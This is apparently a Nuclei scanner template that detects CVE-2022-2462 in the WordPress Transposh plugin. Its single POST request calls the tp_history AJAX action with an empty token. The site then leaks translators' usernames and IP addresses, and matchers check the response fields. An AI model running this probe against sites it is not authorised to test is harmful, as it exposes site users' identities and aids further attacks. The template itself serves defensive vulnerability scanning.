id: CVE-2022-2462

info:
  name: WordPress Transposh <=1.0.8.1 - Information Disclosure
  author: dwisiswant0
  severity: medium
  description: |
    WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute.  If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Upgrade to the latest version of the WordPress Transposh plugin (>=1.0.8.2) to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
    - https://github.com/oferwald/transposh
    - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2462
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2462
    cwe-id: CWE-200
    epss-score: 0.02936
    epss-percentile: 0.85307
    cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: transposh
    product: transposh_wordpress_translation
    framework: wordpress
  tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm,transposh,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php"

    body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "len(transposh) > 0" # 'transposh' equivalent for Transposh header key

      - type: word
        part: body
        words:
          # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
          - "translated"
          - "translated_by"
          - "timestamp"
          - "source"
          - "user_login"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220768bae699147cfd4b66c6512d236830fb7f015dc452f0fc2ba6f28092fe44ead02203fb102d3346605d9dde059ea5d21621f4807aefd6cd22b7b763af0daac7695a7:922c64590222798bb761d5b6d8e72950